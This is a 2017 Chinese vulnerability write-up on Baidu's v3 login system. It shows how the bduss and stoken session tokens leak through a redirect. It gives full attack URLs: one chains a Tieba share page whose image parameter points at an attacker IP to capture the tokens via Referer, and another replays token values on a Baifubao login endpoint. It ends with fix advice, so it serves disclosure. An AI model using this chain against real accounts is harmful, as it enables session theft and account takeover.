[+] Author:MagicBlue
[+] Team: NeSE security team
[+] From: https://magicbluech.github.io
[+] Create: 2017-02-13

认知

最近在研究百度的账号登陆系统。百度的登陆系统有v2,v3两种方案。主站使用的v2。通过post login。然后set-cookie:bduss

像百度钱包百度外卖,网盘等使用的v3登陆系统。使用v3登陆系统的域名不在少数。

利用

可以看出来v3的登陆逻辑是Location重定向这个链接,然后set-cookie:bduss。但是这个有一个架构问题是Location里面带有bduss敏感信息:)需要注意的是Location里面的bduss不是登陆成功后cookie里面的那个http-only bduss。但是我们可以通过拿到Location的bduss去登陆,通过在本地查看cookie里面的http-only bduss。也就是拿到了用户认证

https://passport.baidu.com/v3/login/api/auth?return_type=3&tpl=netdisk&u=https%3a%2f%2fpcsdata.baidu.com%2frest%2f2.0%2fpcs%2ffile%3fmethod%3dplantcookie%26source%3dpcsdata%26callid%3d0.1%26type%3dstoken%26from_module%3dcloud-ui%26logid%3d1005224845347345453

访问这个url就会跳转到set-cookie:bduss 中间有个Location。对我们来说有用的可控的参数是tpl和utpl参数是百度业务的代号 netdisk为百度网盘u为Location中拼接的链接 :) Location: u+stoken+bduss 这种到这里我能想到如下几种方法去窃取Location：

  1. 没有任何限制 u参数可以为我们可控的domain。通过重定向到可控域名查看referer就可以拿到stoken+bduss
  2. 后端正则没写好 :) http:xxx.baidu.com.attack.com or http://xxx.baidu.com@attack.com
  3. 使用v3登陆系统下的xss
  4. 使用v3登陆系统下的open redirection
  5. 使用v3登陆系统下任何请求第三方服务器资源的参数 :)有点迷糊吧 接下来我会详细介绍这个

下面我们来分析者几种思路的可行性

1 and 2 经过大量测试,百度后端正则写法严格,不存在此漏洞
3 xss价值很大,用在这大材小用。
4 方法不够优美,跳转后的页面为第三方页面,用户容易起疑心
5 跳转后的页面为百度下的域名 较为完美的解决方案 第五种方法容易出现在用户交互的地方。我在贴吧找到了一个分享页面。

http://tieba.baidu.com/f/commit/share/openShareApi?url=http%3A%2F%2Ftieba.baidu.com%2Fp%2F4970918825%2310006-tieba-1-38713-bf6461719a993b4683f4212b1604e413&title=2017%E6%9D%8E%E5%BD%A6%E5%AE%8F%E4%B8%8B%E7%8B%A0%E5%BF%83%3A%E7%99%BE%E5%BA%A6%E8%A6%81%E6%95%B4%E9%A1%BF%E9%A3%8E%E6%B0%94%2C%E6%89%93%E5%87%BB%E8%BF%87%E5%BA%A6%E5%B9%BF%E5%91%8A_%E7%99%BE%E5%BA%A6%E5%90%A7_%E7%99%BE%E5%BA%A6%E8%B4%B4%E5%90%A7&desc=&comment=&pic=http://121.42.166.76/x/phpwaf.php?.jpg

pic是我们可控的页面。查看下服务器上的log

通过查看referer,我们就可以拿到bduss+stoken。 现在利用链就出现了。passport.baidu.com url里面的u参数改成tieba这个链接。tpl参数改成百度贴吧的内部代号。但是问题出现了。贴吧业务较老。同时有v2 v3系统。但是set-cookie的是v2系统。虽然会拿到stoken+bduss。但是这是贴吧业务下,并不能拿到http-only(bduss) :)因为并不是根据v3设置的bduss所以访问Location也不能set-cookie:bduss 按照正常架构,tpl是肯定要和u参数一一对应的。我们测试下是否存在问题。

我们把tpl换成百度网盘的代号 u参数为找到的tieba url。顿时惊喜万分。这是百度登录系统的第二个架构问题。tpl和u参数不对应。这无疑减少了攻击难度。我们只需要找到使用v3登录系统任一域名下的xss或者open direction等漏洞就可利用。

构造POC

为了拿到最佳漏洞,我们必须要构造最完美的利用链。现在的攻击方式就是让用户去访问

https://passport.baidu.com/v3/login/api/auth/?return_type=3&tpl=bp&u=http%3A%2F%2Ftieba.baidu.com%2Ff%2Fcommit%2Fshare%2FopenShareApi%3Furl%3Dhttp%253A%252F%252Ftieba.baidu.com%252Fp%252F4970918825%252310006-tieba-1-38713-bf6461719a993b4683f4212b1604e413%26title%3D2017%25E6%259D%258E%25E5%25BD%25A6%25E5%25AE%258F%25E4%25B8%258B%25E7%258B%25A0%25E5%25BF%2583%253A%25E7%2599%25BE%25E5%25BA%25A6%25E8%25A6%2581%25E6%2595%25B4%25E9%25A1%25BF%25E9%25A3%258E%25E6%25B0%2594%252C%25E6%2589%2593%25E5%2587%25BB%25E8%25BF%2587%25E5%25BA%25A6%25E5%25B9%25BF%25E5%2591%258A_%25E7%2599%25BE%25E5%25BA%25A6%25E5%2590%25A7_%25E7%2599%25BE%25E5%25BA%25A6%25E8%25B4%25B4%25E5%2590%25A7%26desc%3D%26comment%3D%26pic%3Dhttp%3A%2F%2F121.42.166.76%2Fx%2Fphpwaf.php%3F.jpg

然后服务器会接受到referer传来的stoken+bduss。这样太不美观了。最完美的利用链肯定是从用户点击到跳转结束都是在百度域名下。这才称为优雅。
xxx.baidu.com => attack.com.index.html=>tieba.com
那就需要我们找到一个百度域名下的open redirection。哪里找呢。www.baidu.com就更好了。其实有现成的。当我们在百度页面上搜索url时。点击页面会出现自动跳转。

https://www.baidu.com/link?url=U38t5HcavSP8i3ndy2zBqFHNk49DAIPl9Nf8EaQ7ItniqYP7-GFf7qZKL8gtlo-Q&wd=&eqid=d6e00e170038d1860000000658a04fe5

类似这样。这下才称为完美利用才对～把exp放在 attack.com/index.html
点击服务器记录log如下

这时候我们要揭秘百度登录系统的第三个架构问题 就是Location里面拿到的 stoken+bduss居然可以重复使用。
构造登录页面如下 :)百度钱包为例

https://www.baifubao.com/api/0/sync_login/0?u=%2F&errno=0&errmsg=Auth%20Login%20Sucess&stoken=a030ee1ff3177e74af143953318e1a02fe00d282274012bca70d6e358abb98c0911856e88dfc9b439ac0c63c58f9e39929c3b7e662fc0fa5855fba0ef6439168723359d32efe&bduss=5be15498aac8e4422924b36361398d72d78a4550e2034c6430d7e412f82f09867ea983604696ee0f6f74fe70cf63fa5bdb4ab07f0c07a57a423f76e92f67c560b2f65d707ecf80744b56ae9becb9e83c269dfa8cef32e3b2b0416fadb8d52ab0979e138c7fd5f17acc788466e819347236e2e7060db1454dbcda8c9ecc847b8a35faf24e06ba9057b804462b32d13a1045da918c837ffe43b6164a9ffcc595a4a462918da6e9a578f8bd3e4efb646e8e0839446bfd90cc7a0fc98021ad5c1c10792a25778c10&ssnerror=0

替换stoken+bduss 为我们获取的。attacker登陆进去查看http-only bduss 就可以拿到最终的bduss 从而进入各个服务

总结

  1. bduss这种敏感信息出现在GET参数里面。并且还是Location :)建议:不要把敏感信息放在GET参数里面,如果实在没办法可以通过POST传入u and tpl参数完成Location。
  2. 没有验证tpl和u的一致性。代号和domain一致性的话 会大大加强漏洞的利用难度
  3. stoken+bduss居然可以重复使用。建议做成一次性ticket
  4. 只要手机端百度浏览器登录了用户账号,点击链接也会盗号。所以危害全平台。做好手机端和pc端认证的分开。